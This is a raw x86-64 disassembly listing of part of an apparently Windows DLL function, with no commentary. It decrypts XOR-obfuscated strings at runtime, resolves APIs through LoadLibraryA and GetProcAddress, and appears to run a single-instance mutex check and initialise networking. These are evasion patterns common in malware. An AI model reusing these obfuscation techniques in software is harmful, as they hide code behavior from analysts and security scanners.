lea r8, [rbp + 0x92c]
movzx edx, cl
sub r8, rax
movzx ecx, dl
test dl, dl
je 0x18034d4b0
test dil, dil
je 0x18034d4b0
movzx ecx, byte [r8 + rax + 1]
inc rax
movzx edx, cl
movzx edi, byte [rax]
cmp cl, dil
je 0x18034d490
cmp cl, byte [rax]
je 0x18034d76d
lea rcx, [rbp + 0x650]
lea rdx, [rbp + 0x1ae0]
nop word [rax + rax]
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
mov byte [rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x18034d4d0
mov ecx, r12d
cmp byte [rbp + 0x1ae0], r12b
je 0x18034d4fc
nop dword [rax]
inc ecx
cmp byte [rbp + rcx + 0x1ae0], r12b
jne 0x18034d4f0
mov eax, ecx
lea rdx, [rbp + 0x1860]
lea rcx, [rbp + 0x1ae0]
add rcx, rax
nop
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
mov byte [rcx], al
lea rcx, [rcx + 1]
test al, al
jne 0x18034d510
mov rax, qword [r15 + r13*8]
mov ecx, 4
mov ecx, dword [rcx + rax]
cmp dword [0x1803a15d0], ecx
jle 0x18034d56e
lea rcx, [0x1803a15d0]
call fcn.180360f8c
cmp dword [0x1803a15d0], 0xffffffff
jne 0x18034d56e
lea rcx, [0x1803a14e0]
call fcn.1800036c0
lea rcx, [0x18037d290]
call fcn.1803614c4
lea rcx, [0x1803a15d0]
call fcn.180360f2c
lea rax, [rbp + 0x1ae0]
mov dword [rbp - 0x6f], 0xd1c0fc
mov qword [rbp + 0x248], rax
mov qword [rsp + 0x50], r12
mov rax, qword [rsp + 0x50]
nop dword [rax]
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
sub cl, 0x4e
xor cl, byte [rbp + rax - 0x6e]
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax - 0x6e], cl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 2
jb 0x18034d590
lea rax, [rbp - 0x6e]
mov qword [rbp + 0x228], 0x3bbfcd1c
mov qword [rbp + 0x240], rax
lea r8, [rbp + 0x240]
lea rax, [0x180366234]
mov byte [rbp - 0x6c], r12b
add rax, 0x3bbfcd1c
lea rdx, [rbp + 0x248]
mov qword [rbp + 0x220], rax
lea rcx, [rbp + 0x4f0]
movaps xmm0, xmmword [rbp + 0x220]
movdqa xmmword [rbp + 0x4f0], xmm0
call fcn.180354890
mov qword [rbp + 0x1d8], rax
test rax, rax
je 0x18034d758
mov dword [rbp + 0xd8], r12d
lea rax, [rbp + 0xd8]
mov qword [rbp + 0x450], rax
lea r9, [rbp + 0x298]
mov qword [rsp + 0x70], 2
lea r8, [rbp + 0xe8]
mov qword [rsp + 0x50], 2
lea rdx, [rbp + 0x290]
mov rcx, qword [rsp + 0x70]
mov rax, qword [rsp + 0x50]
add rcx, rax
mov qword [rbp + 0x238], 0x68617595
mov qword [rsp + 0x70], rcx
lea rcx, [rbp + 0x590]
mov rax, qword [rsp + 0x70]
mov qword [rbp + 0x298], rax
lea rax, [rbp + 0xd8]
mov qword [rbp + 0x290], rax
lea rax, [fcn.1803684cc]
add rax, 0x68617595
mov dword [rbp + 0xe8], 1
mov qword [rbp + 0x230], rax
lea rax, [rbp + 0x1d8]
movups xmm0, xmmword [rbp + 0x230]
mov qword [rsp + 0x20], rax
movups xmmword [rbp + 0x580], xmm0
call fcn.1803581a0
xor edx, edx
lea rcx, [rbp + 0x580]
call fcn.1803581c0
lea rax, [fcn.1803664bc]
mov qword [rbp - 0x48], 0x7133417a
add rax, 0x7133417a
lea rdx, [rbp + 0x1d8]
mov qword [rbp - 0x50], rax
lea rcx, [rbp + 0x400]
movaps xmm0, xmmword [rbp - 0x50]
movdqa xmmword [rbp + 0x400], xmm0
call fcn.180354820
mov dword [rsp + 0x60], 0x15852538
mov dword [rbp + 0x3e48], 0x31c92b51
mov ecx, dword [rbp + 0x3e48]
mov eax, dword [rsp + 0x60]
add ecx, eax
mov dword [rbp + 0x3e48], ecx
mov eax, dword [rbp + 0x3e48]
cmp dword [rbp + 0xd8], eax
je 0x18034d76d
lea rdx, [rbp + 0x900]
mov rcx, rsi
call r14
test eax, eax
jne 0x18034d3d3
mov r15, qword [rsp + 0x58]
mov rcx, rsi
call r15
mov r13, 0xffffffffffffffff
mov r12d, 4
mov rsi, qword gs:[0x58]
cmp byte [rbp + 0x1860], 0
jne 0x18034d7a8
mov r14d, dword [0x18039b468]
xor dl, dl
xor r15d, r15d
jmp 0x18034d8c4
xor r15d, r15d
mov ecx, r15d
cmp byte [rbp + 0x650], r15b
je 0x18034d7cc
nop word [rax + rax]
inc ecx
cmp byte [rbp + rcx + 0x650], r15b
jne 0x18034d7c0
mov eax, ecx
lea rdx, [rbp + 0x1860]
lea rcx, [rbp + 0x650]
add rcx, rax
nop
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
mov byte [rcx], al
lea rcx, [rcx + 1]
test al, al
jne 0x18034d7e0
mov r14d, dword [0x18039b468]
mov rax, qword [rsi + r14*8]
mov ecx, dword [r12 + rax]
cmp dword [0x1803a15d0], ecx
jle 0x18034d841
lea rcx, [0x1803a15d0]
call fcn.180360f8c
cmp dword [0x1803a15d0], 0xffffffff
jne 0x18034d841
lea rcx, [0x1803a14e0]
call fcn.1800036c0
lea rcx, [0x18037d290]
call fcn.1803614c4
lea rcx, [0x1803a15d0]
call fcn.180360f2c
lea rax, [rbp + 0x650]
mov r8, r13
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], r15b
jne 0x18034d850
lea rdx, [rbp + 0x650]
lea rcx, [0x1803a14f8]
call fcn.180353890
mov rax, qword [rsi + r14*8]
mov ecx, dword [r12 + rax]
cmp dword [0x1803a15d0], ecx
jle 0x18034d8b5
lea rcx, [0x1803a15d0]
call fcn.180360f8c
cmp dword [0x1803a15d0], 0xffffffff
jne 0x18034d8b5
lea rcx, [0x1803a14e0]
call fcn.1800036c0
lea rcx, [0x18037d290]
call fcn.1803614c4
lea rcx, [0x1803a15d0]
call fcn.180360f2c
lea rcx, [0x1803a14e0]
call fcn.180003720
movzx edx, al
xor eax, eax
mov dword [rbp + 0x25], 0xbdb4ebf6
mov byte [rbp + 0x2d], al
mov dword [rbp + 0x29], 0xf1afa3ab
mov qword [rsp + 0x50], r15
mov rcx, qword [rsp + 0x50]
cmp rcx, 7
jae 0x18034d922
nop word [rax + rax]
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
sub cl, 0x3a
xor cl, byte [rbp + rax + 0x26]
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax + 0x26], cl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 7
jb 0x18034d8f0
mov byte [rbp + 0x2d], 0
test dl, dl
je 0x18035154b
movdqa xmm0, xmmword [0x18038fbd0]
xor eax, eax
mov byte [rbp + 0x139], al
movdqu xmmword [rbp + 0x125], xmm0
mov dword [rbp + 0x135], 0xe1e6ecf2
mov qword [rsp + 0x50], r15
mov rax, qword [rsp + 0x50]
cmp rax, 0x13
jae 0x18034d998
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
sub cl, 0x72
xor cl, byte [rbp + rax + 0x126]
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax + 0x126], cl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x13
jb 0x18034d960
mov byte [rbp + 0x139], 0
call fcn.1800015d0
mov rcx, qword [rsi + r14*8]
mov rdi, rax
mov edx, dword [r12 + rcx]
cmp dword [0x18039d510], edx
jle 0x18034d9e6
lea rcx, [0x18039d510]
call fcn.180360f8c
cmp dword [0x18039d510], 0xffffffff
jne 0x18034d9e6
mov rcx, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [0x1803a15b8], rcx
lea rcx, [0x18039d510]
call fcn.180360f2c
mov rax, qword [rsi + r14*8]
mov ecx, dword [r12 + rax]
cmp dword [0x1803a1558], ecx
jle 0x18034da25
lea rcx, [0x1803a1558]
call fcn.180360f8c
cmp dword [0x1803a1558], 0xffffffff
jne 0x18034da25
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [0x1803a1558]
mov qword [0x1803a1560], rax
call fcn.180360f2c
mov rcx, rdi
call qword [0x1803a15b8]
mov rcx, rax
lea rdx, [rbp + 0x126]
call qword [0x1803a1560]
mov rdi, rax
test rax, rax
je 0x18034de91
lea rax, [rbp + 0x2730]
mov qword [rbp + 0x458], rax
mov qword [rsp + 0x70], 0x338
mov qword [rsp + 0x50], 0xc8
mov rcx, qword [rsp + 0x70]
mov rax, qword [rsp + 0x50]
add rcx, rax
mov qword [rsp + 0x70], rcx
lea rcx, [rbp + 0x2730]
mov rdx, qword [rsp + 0x70]
call rdi
xor eax, eax
mov dword [rbp + 0xab], 0xc4c2f303
mov byte [rbp + 0xb9], al
mov dword [rbp + 0xaf], 0xd9d8d7dc
mov dword [rbp + 0xb3], 0xdc968585
mov word [rbp + 0xb7], 0xdec2
mov qword [rsp + 0x50], r15
mov rax, qword [rsp + 0x50]
cmp rax, 0xd
jae 0x18034db08
nop dword [rax]
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
sub cl, 0x51
xor cl, byte [rbp + rax + 0xac]
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax + 0xac], cl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0xd
jb 0x18034dad0
cmp byte [rbp + 0x2730], 0
mov ecx, r15d
mov byte [rbp + 0xb9], 0
je 0x18034db2c
nop dword [rax + rax]
inc ecx
cmp byte [rbp + rcx + 0x2730], 0
jne 0x18034db20
mov eax, ecx
lea rdx, [rbp + 0xac]
lea rcx, [rbp + 0x2730]
add rcx, rax
nop
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
mov byte [rcx], al
lea rcx, [rcx + 1]
test al, al
jne 0x18034db40
movdqa xmm0, xmmword [0x18038f9d0]
lea rax, [rbp + 0x1060]
mov qword [rbp + 0x460], rax
lea rdi, [rbp + 0x1060]
mov qword [rsp + 0x70], 0x24e
mov qword [rsp + 0x50], 0x1b2
mov rcx, qword [rsp + 0x70]
mov rax, qword [rsp + 0x50]
add rcx, rax
xor eax, eax
mov qword [rsp + 0x70], rcx
mov rcx, qword [rsp + 0x70]
rep stosb byte [rdi], al
mov byte [rbp + 0x1060], 0x22
movdqu xmmword [rbp + 0x176], xmm0
mov dword [rbp + 0x186], 0xb09582
mov qword [rsp + 0x50], r15
mov rax, qword [rsp + 0x50]
cmp rax, 0x12
jae 0x18034dc08
nop dword [rax]
nop dword [rax + rax]
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
sub cl, 0x20
xor cl, byte [rbp + rax + 0x177]
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax + 0x177], cl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x12
jb 0x18034dbd0
mov byte [rbp + 0x189], 0
call fcn.1800015d0
mov rcx, qword [rsi + r14*8]
mov rdi, rax
mov edx, dword [r12 + rcx]
cmp dword [0x18039d510], edx
jle 0x18034dc56
lea rcx, [0x18039d510]
call fcn.180360f8c
cmp dword [0x18039d510], 0xffffffff
jne 0x18034dc56
mov rcx, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [0x1803a15b8], rcx
lea rcx, [0x18039d510]
call fcn.180360f2c
mov rax, qword [rsi + r14*8]
mov ecx, dword [r12 + rax]
cmp dword [0x1803a1558], ecx
jle 0x18034dc95
lea rcx, [0x1803a1558]
call fcn.180360f8c
cmp dword [0x1803a1558], 0xffffffff
jne 0x18034dc95
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [0x1803a1558]
mov qword [0x1803a1560], rax
call fcn.180360f2c
mov rcx, rdi
call qword [0x1803a15b8]
mov rcx, rax
lea rdx, [rbp + 0x177]
call qword [0x1803a1560]
mov rdi, rax
test rax, rax
je 0x18034de91
lea rax, [rbp + 0x1060]
mov qword [rbp + 0x468], rax
mov qword [rsp + 0x70], 0x4a
mov qword [rsp + 0x50], 0x3b6
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x50]
add rdx, rcx
mov qword [rsp + 0x70], rdx
lea rdx, [rbp + 0x1061]
mov r8, qword [rsp + 0x70]
mov rcx, qword [0x18039c7e0]
dec r8d
call rdi
mov dword [rbp + 0x64], 0x760e0376
mov dword [rbp + 0x68], 0x68676b73
mov dword [rbp + 0x6c], 0x465c6a6d
mov word [rbp + 0x70], 0x61
mov qword [rsp + 0x50], r15
mov rax, qword [rsp + 0x50]
cmp rax, 0xc
jae 0x18034dd62
nop
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
add cl, 0x21
xor cl, byte [rbp + rax + 0x65]
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax + 0x65], cl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0xc
jb 0x18034dd30
cmp byte [rbp + 0x1060], 0
mov ecx, r15d
mov byte [rbp + 0x71], 0
je 0x18034dd7e
inc ecx
cmp byte [rbp + rcx + 0x1060], 0
jne 0x18034dd72
mov eax, ecx
lea rdx, [rbp + 0x65]
lea rcx, [rbp + 0x1060]
add rcx, rax
nop
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
mov byte [rcx], al
lea rcx, [rcx + 1]
test al, al
jne 0x18034dd90
lea rax, [rbp + 0x2330]
mov qword [rbp + 0x470], rax
lea rdx, [rbp + 0x2330]
mov qword [rsp + 0x50], 0x229
mov qword [rsp + 0x70], 0x1d7
mov rcx, qword [rsp + 0x70]
mov rax, qword [rsp + 0x50]
add rcx, rax
mov qword [rsp + 0x70], rcx
mov r8, qword [rsp + 0x70]
mov rcx, qword [0x18039c7e0]
call rdi
lea rdi, [rbp + 0x2330]
nop
movzx eax, byte [rdi]
inc rdi
test al, al
jne 0x18034ddf0
lea rax, [rbp + 0x2330]
cmp rdi, rax
jb 0x18034de1a
cmp byte [rdi], 0x5c
je 0x18034de1a
dec rdi
lea rax, [rbp + 0x2330]
cmp rdi, rax
jae 0x18034de06
lea rax, [rbp + 0x2330]
cmp rdi, rax
cmovb rdi, r15
inc rdi
mov rcx, rdi
nop
movzx eax, byte [rcx]
inc rcx
test al, al
jne 0x18034de30
cmp rcx, rdi
jb 0x18034de50
nop
cmp byte [rcx], 0x2e
je 0x18034de4d
dec rcx
cmp rcx, rdi
jae 0x18034de40
cmp rcx, rdi
cmovb rcx, r15
test rcx, rcx
je 0x18034de5c
mov byte [rcx], 0
lea rcx, [rbp + 0x2e8]
call fcn.180053900
lea r9, [rbp + 0x1060]
mov rdx, rdi
lea r8, [rbp + 0x2730]
lea rcx, [rbp + 0x2e8]
call fcn.180053df0
lea rcx, [rbp + 0x2e8]
call fcn.180053c50
mov rax, qword [rsi + r14*8]
mov ecx, dword [r12 + rax]
cmp dword [0x18039d50c], ecx
jle 0x18034dece
lea rcx, [0x18039d50c]
call fcn.180360f8c
cmp dword [0x18039d50c], 0xffffffff
jne 0x18034dece
lea rcx, [0x18037d2f0]
call fcn.1803614c4
lea rcx, [0x18039d50c]
call fcn.180360f2c
mov dword [rbp + 0x72], 0x8d95a5de
mov dword [rbp + 0x76], 0xa18e9e88
mov dword [rbp + 0x7a], 0x888a9a98
mov word [rbp + 0x7e], 0xb0
mov qword [rsp + 0x50], r15
mov rax, qword [rsp + 0x50]
cmp rax, 0xc
jae 0x18034df32
nop dword [rax]
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
sub cl, 0x1a
xor cl, byte [rbp + rax + 0x73]
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax + 0x73], cl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0xc
jb 0x18034df00
mov byte [rbp + 0x7f], 0
call fcn.1800015d0
mov rcx, qword [rsi + r14*8]
mov rdi, rax
mov edx, dword [r12 + rcx]
cmp dword [0x18039d510], edx
jle 0x18034df7d
lea rcx, [0x18039d510]
call fcn.180360f8c
cmp dword [0x18039d510], 0xffffffff
jne 0x18034df7d
mov rcx, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [0x1803a15b8], rcx
lea rcx, [0x18039d510]
call fcn.180360f2c
mov rax, qword [rsi + r14*8]
mov ecx, dword [r12 + rax]
cmp dword [0x1803a1558], ecx
jle 0x18034dfbc
lea rcx, [0x1803a1558]
call fcn.180360f8c
cmp dword [0x1803a1558], 0xffffffff
jne 0x18034dfbc
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [0x1803a1558]
mov qword [0x1803a1560], rax
call fcn.180360f2c
mov rcx, rdi
call qword [0x1803a15b8]
mov rcx, rax
lea rdx, [rbp + 0x73]
call qword [0x1803a1560]
mov dword [rbp - 0x2d], 0x53577ddc
mov rdi, rax
mov dword [rbp - 0x29], 0x1c535f5f
mov word [rbp - 0x25], 0x70
mov qword [rsp + 0x50], r15
mov rcx, qword [rsp + 0x50]
cmp rcx, 8
jae 0x18034e032
nop dword [rax]
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
add cl, 0x3a
xor cl, byte [rbp + rax - 0x2c]
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax - 0x2c], cl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 8
jb 0x18034e000
mov byte [rbp - 0x24], 0
lea r8, [0x1803a1ab8]
mov rcx, r15
movzx eax, byte [rbp + rcx - 0x2c]
mov byte [r8 + rcx], al
lea rcx, [rcx + 1]
test al, al
jne 0x18034e040
mov edx, 1
xor ecx, ecx
call rdi
mov dword [rbp + 0x80], 0x4056758d
mov rbx, rax
mov dword [rbp + 0x84], 0x4c445779
mov dword [rbp + 0x88], 0x5349487c
mov word [rbp + 0x8c], 0x4f
mov qword [rsp + 0x50], r15
mov rax, qword [rsp + 0x50]
cmp rax, 0xc
jae 0x18034e0d8
nop dword [rax]
nop dword [rax + rax]
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
add cl, 0x32
xor cl, byte [rbp + rax + 0x81]
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax + 0x81], cl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0xc
jb 0x18034e0a0
mov byte [rbp + 0x8d], 0
call fcn.1800015d0
mov rcx, qword [rsi + r14*8]
mov rdi, rax
mov edx, dword [r12 + rcx]
cmp dword [0x18039d510], edx
jle 0x18034e126
lea rcx, [0x18039d510]
call fcn.180360f8c
cmp dword [0x18039d510], 0xffffffff
jne 0x18034e126
mov rcx, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [0x1803a15b8], rcx
lea rcx, [0x18039d510]
call fcn.180360f2c
mov rax, qword [rsi + r14*8]
mov ecx, dword [r12 + rax]
cmp dword [0x1803a1558], ecx
jle 0x18034e165
lea rcx, [0x1803a1558]
call fcn.180360f8c
cmp dword [0x1803a1558], 0xffffffff
jne 0x18034e165
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [0x1803a1558]
mov qword [0x1803a1560], rax
call fcn.180360f2c
mov rcx, rdi
call qword [0x1803a15b8]
mov rcx, rax
lea rdx, [rbp + 0x81]
call qword [0x1803a1560]
mov rdi, rax
call rdi
cmp eax, 0xb7
je 0x18035154b
call rdi
cmp eax, 5
je 0x18035154b
mov qword [0x1803a1ab0], rbx
mov dword [rbp + 0x19], 0xe9f4f146
mov dword [rbp + 0x1d], 0xdecadefa
mov dword [rbp + 0x21], 0xdfdbd9
mov qword [rsp + 0x50], r15
mov rax, qword [rsp + 0x50]
cmp rax, 0xa
jae 0x18034e202
nop word [rax + rax]
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
sub cl, 0x5a
xor cl, byte [rbp + rax + 0x1a]
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax + 0x1a], cl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0xa
jb 0x18034e1d0
mov byte [rbp + 0x24], 0
call fcn.180001750
mov rcx, qword [rsi + r14*8]
mov rdi, rax
mov edx, dword [r12 + rcx]
cmp dword [0x18039d510], edx
jle 0x18034e24d
lea rcx, [0x18039d510]
call fcn.180360f8c
cmp dword [0x18039d510], 0xffffffff
jne 0x18034e24d
mov rcx, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [0x1803a15b8], rcx
lea rcx, [0x18039d510]
call fcn.180360f2c
mov rax, qword [rsi + r14*8]
mov ecx, dword [r12 + rax]
cmp dword [0x1803a1558], ecx
jle 0x18034e28c
lea rcx, [0x1803a1558]
call fcn.180360f8c
cmp dword [0x1803a1558], 0xffffffff
jne 0x18034e28c
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [0x1803a1558]
mov qword [0x1803a1560], rax
call fcn.180360f2c
mov rcx, rdi
call qword [0x1803a15b8]
mov rcx, rax
lea rdx, [rbp + 0x1a]
call qword [0x1803a1560]
mov ecx, 0x101
lea rdx, [rbp + 0x3440]
call rax
movdqa xmm0, xmmword [0x18038f7e0]
movdqu xmmword [rbp + 0x162], xmm0
mov dword [rbp + 0x172], 0x5c6f64
mov qword [rsp + 0x50], r15
mov rax, qword [rsp + 0x50]
cmp rax, 0x12
jae 0x18034e318
nop word [rax + rax]
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
sub cl, 6
xor cl, byte [rbp + rax + 0x163]
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax + 0x163], cl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x12
jb 0x18034e2e0
mov byte [rbp + 0x175], 0
call fcn.1800015d0
mov rcx, qword [rsi + r14*8]
mov rdi, rax
mov edx, dword [r12 + rcx]
cmp dword [0x18039d510], edx
jle 0x18034e366
lea rcx, [0x18039d510]
call fcn.180360f8c
cmp dword [0x18039d510], 0xffffffff
jne 0x18034e366
mov rcx, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [0x1803a15b8], rcx
lea rcx, [0x18039d510]
call fcn.180360f2c
mov rax, qword [rsi + r14*8]
mov ecx, dword [r12 + rax]
cmp dword [0x1803a1558], ecx
jle 0x18034e3a5
lea rcx, [0x1803a1558]
call fcn.180360f8c
cmp dword [0x1803a1558], 0xffffffff
jne 0x18034e3a5
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [0x1803a1558]
mov qword [0x1803a1560], rax
call fcn.180360f2c
mov rcx, rdi
call qword [0x1803a15b8]
mov rcx, rax
lea rdx, [rbp + 0x163]
call qword [0x1803a1560]
test rax, rax
je 0x18035154b
lea rcx, [rbp + 0x35e0]
mov qword [rbp + 0x478], rcx
mov qword [rsp + 0x50], 0xe2
mov qword [rsp + 0x70], 0x71e
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x50]
add rdx, rcx
xor ecx, ecx
mov qword [rsp + 0x70], rdx
lea rdx, [rbp + 0x35e0]
mov r8, qword [rsp + 0x70]
call rax
lea rcx, [rbp + 0x500]
call fcn.180005e00
xor eax, eax
mov word [rbp - 0x75], 0xb44a
mov byte [rbp - 0x73], al
mov qword [rsp + 0x50], r15
mov rax, qword [rsp + 0x50]
cmp rax, 1
jae 0x18034e462
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
sub cl, 0x28
xor cl, byte [rbp + rax - 0x74]
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax - 0x74], cl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 1
jb 0x18034e430
lea r8, [rbp + 0x35e0]
mov byte [rbp - 0x73], 0
lea rdx, [rbp - 0x74]
lea rcx, [rbp + 0x500]
call fcn.180006460
lea rcx, [rbp + 0x3e40]
call fcn.180055980
movdqa xmm0, xmmword [0x18038fa20]
movdqu xmmword [rbp + 0x14e], xmm0
mov dword [rbp + 0x15e], 0xbb9c95
mov qword [rsp + 0x50], r15
mov rax, qword [rsp + 0x50]
cmp rax, 0x12
jae 0x18034e4eb
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
sub cl, 0x17
xor cl, byte [rbp + rax + 0x14f]
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax + 0x14f], cl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x12
jb 0x18034e4b3
mov byte [rbp + 0x161], 0
call fcn.1800015d0
mov rcx, qword [rsi + r14*8]
mov rdi, rax
mov edx, dword [r12 + rcx]
cmp dword [0x18039d510], edx
jle 0x18034e539
lea rcx, [0x18039d510]
call fcn.180360f8c
cmp dword [0x18039d510], 0xffffffff
jne 0x18034e539
mov rcx, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [0x1803a15b8], rcx
lea rcx, [0x18039d510]
call fcn.180360f2c
mov rax, qword [rsi + r14*8]
mov ecx, dword [r12 + rax]
cmp dword [0x1803a1558], ecx
jle 0x18034e578
lea rcx, [0x1803a1558]
call fcn.180360f8c
cmp dword [0x1803a1558], 0xffffffff
jne 0x18034e578
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [0x1803a1558]
mov qword [0x1803a1560], rax
call fcn.180360f2c
mov rcx, rdi
call qword [0x1803a15b8]
mov rcx, rax
lea rdx, [rbp + 0x14f]
call qword [0x1803a1560]
test rax, rax
je 0x18034e7a2
lea rcx, [rbp + 0x1dd0]
mov qword [rbp + 0x480], rcx
mov qword [rsp + 0x70], 0x1d6
mov qword [rsp + 0x50], 0x22a
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x50]
add rdx, rcx
mov qword [rsp + 0x70], rdx
lea rdx, [rbp + 0x1dd0]
mov r8, qword [rsp + 0x70]
mov rcx, qword [0x18039c7e0]
call rax
lea rcx, [rbp + 0x1dd0]
nop dword [rax + rax]
movzx eax, byte [rcx]
inc rcx
test al, al
jne 0x18034e5f0
lea rax, [rbp + 0x1dd0]
cmp rcx, rax
jb 0x18034e61a
cmp byte [rcx], 0x5c
je 0x18034e61a
dec rcx
lea rax, [rbp + 0x1dd0]
cmp rcx, rax
jae 0x18034e606
lea rax, [rbp + 0x1dd0]
cmp rcx, rax
cmovb rcx, r15
test rcx, rcx
je 0x18034e63c
mov byte [rcx], 0
lea rcx, [rbp + 0x1dd0]
call fcn.1800098c0
mov dword [rbp + 0x8e], 0x7b6b4a68
mov dword [rbp + 0x92], 0x637f7444
mov dword [rbp + 0x96], 0x7f627444
mov word [rbp + 0x9a], 0x59
mov qword [rsp + 0x50], r15
mov rax, qword [rsp + 0x50]
cmp rax, 0xc
jae 0x18034e6ab
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
add cl, 0xd
xor cl, byte [rbp + rax + 0x8f]
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax + 0x8f], cl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0xc
jb 0x18034e673
mov byte [rbp + 0x9b], 0
call fcn.1800015d0
mov rcx, qword [rsi + r14*8]
mov rdi, rax
mov edx, dword [r12 + rcx]
cmp dword [0x18039d510], edx
jle 0x18034e6f9
lea rcx, [0x18039d510]
call fcn.180360f8c
cmp dword [0x18039d510], 0xffffffff
jne 0x18034e6f9
mov rcx, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [0x1803a15b8], rcx
lea rcx, [0x18039d510]
call fcn.180360f2c
mov rax, qword [rsi + r14*8]
mov ecx, dword [r12 + rax]
cmp dword [0x1803a1558], ecx
jle 0x18034e738
lea rcx, [0x1803a1558]
call fcn.180360f8c
cmp dword [0x1803a1558], 0xffffffff
jne 0x18034e738
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [0x1803a1558]
mov qword [0x1803a1560], rax
call fcn.180360f2c
mov rcx, rdi
call qword [0x1803a15b8]
mov rcx, rax
lea rdx, [rbp + 0x8f]
call qword [0x1803a1560]
test rax, rax
je 0x18034e7a2
lea rcx, [rbp + 0xae0]
mov qword [rbp + 0x488], rcx
mov qword [rsp + 0x50], 0x84
mov qword [rsp + 0x70], 0x80
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x50]
add rdx, rcx
mov qword [rsp + 0x70], rdx
lea rdx, [rbp + 0xae0]
mov rcx, qword [rsp + 0x70]
call rax
lea rcx, [rbp + 0xae0]
call fcn.1800098c0
mov rax, qword [rsi + r14*8]
mov ecx, dword [r12 + rax]
cmp dword [0x1803a15d0], ecx
jle 0x18034e7eb
lea rcx, [0x1803a15d0]
call fcn.180360f8c
cmp dword [0x1803a15d0], 0xffffffff
jne 0x18034e7eb
lea rcx, [0x1803a14e0]
call fcn.1800036c0
lea rcx, [0x18037d290]
call fcn.1803614c4
lea rcx, [0x1803a15d0]
call fcn.180360f2c
